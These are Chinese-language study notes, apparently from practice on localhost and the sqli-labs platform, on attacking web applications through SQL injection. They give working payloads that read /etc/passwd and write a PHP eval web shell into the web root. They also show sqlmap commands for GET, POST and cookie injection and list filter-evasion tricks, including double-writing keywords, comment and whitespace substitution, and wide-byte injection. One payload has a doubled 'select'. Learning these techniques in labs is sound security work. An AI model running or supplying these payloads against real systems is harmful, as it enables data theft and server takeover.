找注入点
- 点击不同文章链接url id会改变
- 在url后加入单引号发现sql语句报错
- 在url后加入and 1=1及and1=2查看结果是否相同从而判断注入点存在
sql注入读取文件:
id = -33 union select select 1,2,load_file("/etc/passwd")
sql注入写文件:
id=-33 union select 1,2,'test' into outfile '/var/www/html/test.txt'
需要去修改权限允许写入文件
sql注入写webshell
web启动权限依据中间件权限,phpstudy用administor启动,它apache里面的服务也是管理员权限,拿到shell去执行whoami,提示的是启动者。
所以mysql的other身份要有w写权限:
id=-33 union select 1,2,"<?php eval($_POST[CMD]);?>" into outfile '/var/www/html/test.php'
get型注入
sqlmap
多个参数:-p指定参数作为注入点
sqlmap.py -u "http://127.0.0.1/index.php?id=1&cc=1" -p "cc"
多条URL:-m 文本文件,选n自动进入下一条url
burpsuite(不单单抓包爆破)
保存日志:project options选项卡->logging->proxy->对勾requests->设置文件名保存。
然后在sqlmap -l +文件读burp抓取的日志里面的Url注入点
### post型注入
通关--data进行数据传送
sqlmap.py -u "127.0.0.1/index.php" --data 数据
推荐训练平台:sql-lib(通关可得大佬勋章)
cookie注入
- 设置注入等级:
对cookie值进行sql注入探测,需要设置level=2- 会检测post和get
- 会检测cookie
- 会检测user-agent和referer
- 使用场景:
1.web应用程序具有基于cookie验证的过程
2.想要利用cookie之上的sql注入漏洞
原理还是sql注入的原理,只不过是不是检测url后缀而是在数据头的cookie中传参比如id=admin存在注入点
sqlmap注入的时候加--cookie字段传数据并设置level就可以:
sqlmap.py -u "http://127.0.0.1/" --COOKIE "id=admin" --level=2 --dbs
sqlmap详解:
- –batch 选择默认选项中间不需要进行其他操作
- –start --stop选择显示列范围
- –tamper 代理注入(常用)
绕过过滤
双写绕过
- union ->ununionion
- %23(也就是#)截断结尾
大小写绕过
绕过空格
- 注释绕过
id=1'/**/and/**/1=1%23
- %09、%0a、%0d、%0b绕过
- 括号绕过,+号、tab键、两个空格、反引号也可以
绕过=号
- 使用like绕过:
-1'union select * from users where id like 2%23
- 使用<>绕过:
-1'union select * from users where !(id<>2) %23
单引号被转义 – 宽字节注入
原id=1’被转义为1%5c,使用%df进行闭合:id=1%df ’ 防止单引号被转义 (utf-8不存在)